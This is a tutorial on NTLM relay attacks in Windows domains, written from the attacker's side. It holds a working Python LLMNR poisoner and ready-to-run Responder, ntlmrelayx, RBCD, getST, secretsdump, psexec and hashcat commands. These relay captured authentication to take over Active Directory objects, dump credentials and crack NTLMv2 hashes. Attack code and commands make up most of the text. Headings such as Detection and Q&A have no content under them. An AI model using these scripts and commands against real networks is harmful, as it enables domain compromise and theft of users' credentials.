NTLM Relay Attacks

LLMNR/NBT-NS poisoning to force NTLM authentication, relaying credentials to SMB/LDAP/HTTP targets, Shadow Credentials via RBCD, capturing NTLMv2 hashes for offline cracking

NTLM Authentication — The Three-Way Handshake

Relay Concept — Man-in-the-Middle Authentication

LLMNR/NBT-NS Poisoning — Triggering NTLM Auth

LLMNR (Link-Local Multicast Name Resolution, port 5355 UDP) and NBT-NS (NetBIOS Name Service, port 137 UDP) are fallback name resolution protocols Windows uses when DNS fails. Any host on the subnet can respond. Poisoning works by responding to ANY query with your own IP — the victim then tries to authenticate to you:

#!/usr/bin/env python3
# Minimal LLMNR poisoner — respond to all queries with attacker IP
# Port 5355 UDP multicast (224.0.0.252)
import socket, struct, threading

MULTICAST_GROUP = '224.0.0.252'
LLMNR_PORT = 5355
ATTACKER_IP = '10.10.10.50'  # your IP

def build_llmnr_response(query_data, attacker_ip):
    """Build LLMNR response claiming attacker_ip for any query."""
    # Parse LLMNR query header (DNS-like format)
    txid  = query_data[:2]
    flags = b'\x80\x00'  # QR=1 (response), RCODE=0 (success)
    qdcount = query_data[4:6]  # question count
    ancount = b'\x00\x01'         # answer count = 1
    nscount = b'\x00\x00'
    arcount = b'\x00\x00'

    header = txid + flags + qdcount + ancount + nscount + arcount

    # Copy the question section verbatim
    question = query_data[12:]  # question starts after 12-byte header

    # Build answer: same name, type A, class IN, TTL=30, rdata=attacker IP
    # Use pointer to question name (compression): 0xC00C = pointer to offset 12
    ip_bytes = socket.inet_aton(attacker_ip)
    answer = (
        b'\xc0\x0c'         # name pointer to question
        + b'\x00\x01'       # type A
        + b'\x00\x01'       # class IN
        + struct.pack('>I', 30)  # TTL
        + b'\x00\x04'       # rdlength = 4
        + ip_bytes
    )

    return header + question + answer

def llmnr_poison_server():
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('', LLMNR_PORT))

    # Join LLMNR multicast group
    mreq = struct.pack("4sL", socket.inet_aton(MULTICAST_GROUP), socket.INADDR_ANY)
    sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)

    print(f"[*] LLMNR poisoner listening on {LLMNR_PORT}")
    while True:
        data, addr = sock.recvfrom(512)
        print(f"[+] LLMNR query from {addr[0]}")
        resp = build_llmnr_response(data, ATTACKER_IP)
        sock.sendto(resp, addr)

# Production: use Responder (Python) — handles LLMNR, NBT-NS, mDNS, WPAD
# sudo responder -I eth0 -rdw    # -r=reply to all, -d=DHCP poisoning, -w=WPAD proxy

Responder — Capture and Poison

ntlmrelayx — Relay Engine

# ntlmrelayx usage patterns

# Basic: relay to all targets, execute command on SMB (requires target without signing)
ntlmrelayx.py -tf smb_targets.txt -c "whoami > C:\out.txt" -smb2support

# Relay to LDAP on DC — most powerful target
# Creates a new computer account in the domain (default impacket behavior)
ntlmrelayx.py -t ldap://dc01.corp.local --no-da --no-acl --no-validate-privs

# Relay to LDAP and add attacker-controlled account to Domain Admins
ntlmrelayx.py -t ldap://dc01.corp.local --escalate-user attacker_user

# Shadow Credentials attack via LDAP relay
ntlmrelayx.py -t ldap://dc01.corp.local --shadow-credentials --shadow-target 'TARGET_USER'

# Relay to LDAPS (LDAP over SSL) — bypasses some channel binding restrictions
ntlmrelayx.py -t ldaps://dc01.corp.local --add-computer COMPNAME COMPPASS

# ADCS (Active Directory Certificate Services) relay
# If a CA web enrollment endpoint exists, relay SMB auth to get a certificate
ntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp \
    --adcs --template DomainController

# targets.txt: one target per line
# 10.10.10.1    ← DC
# 10.10.10.50   ← file server (no SMB signing)
# ldap://dc01   ← explicit protocol prefix

SMB-to-LDAP Relay: RBCD and Shadow Credentials

Relaying to LDAP is the highest-impact path because LDAP lets you modify AD objects. Two main outcomes when you relay a privileged user to LDAP:

# RBCD flow after relay sets it up

# Step 1: Create a computer account (ntlmrelayx does this automatically with --add-computer)
addcomputer.py -computer-name 'ATTACKER01$' -computer-pass 'Abc123!@#' \
    -dc-host dc01.corp.local 'corp.local/relayed_user:relayed_pass'

# Step 2: Set RBCD on target machine (write msDS-AllowedToActOnBehalfOfOtherIdentity)
rbcd.py -delegate-from 'ATTACKER01$' -delegate-to 'TARGET_PC$' \
    -action write corp.local/domain_admin:password -dc-ip 10.10.10.1

# Step 3: Request a service ticket impersonating Administrator
getST.py -spn 'cifs/TARGET_PC.corp.local' \
    -impersonate Administrator \
    corp.local/'ATTACKER01$':'Abc123!@#' -dc-ip 10.10.10.1

# Step 4: Use the ticket
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass TARGET_PC.corp.local   # dump all credentials
psexec.py -k -no-pass Administrator@TARGET_PC.corp.local

Capturing NTLMv2 Hashes for Offline Cracking

# NTLMv2 hash format captured by Responder:
# DOMAIN\username::hostname:server_challenge:NTLMv2response:blob

# Example:
# CORP\jsmith::WORKSTATION01:a4b3c2d1e0f9a8b7:4e3d2c1b0a9f8e7d6c5b4a3928170605:010100000...

# Crack with hashcat -m 5600 (NetNTLMv2)
hashcat -m 5600 ntlmv2_hashes.txt rockyou.txt
hashcat -m 5600 ntlmv2_hashes.txt rockyou.txt \
    -r /usr/share/hashcat/rules/best64.rule

# For NTLMv1 (older systems, rare but still exists): hashcat -m 5500
# NTLMv1 is much faster to crack (no HMAC-MD5, just DES operations)

# GPU throughput (RTX 3090):
# NTLMv2 (m 5600): ~10 billion H/s — entire rockyou.txt in milliseconds
# NTLMv1 (m 5500): ~65 billion H/s — even faster

# Important: NTLMv2 hashes cannot be used for Pass-the-Hash
# You need to crack them to recover the plaintext password
# Then use the plaintext or the NT hash derived from it for PtH

# Get NT hash from plaintext:
python3 -c "import hashlib; print(hashlib.new('md4','Password123'.encode('utf-16-le')).hexdigest())"

Attack Target Matrix

Detection

Q&A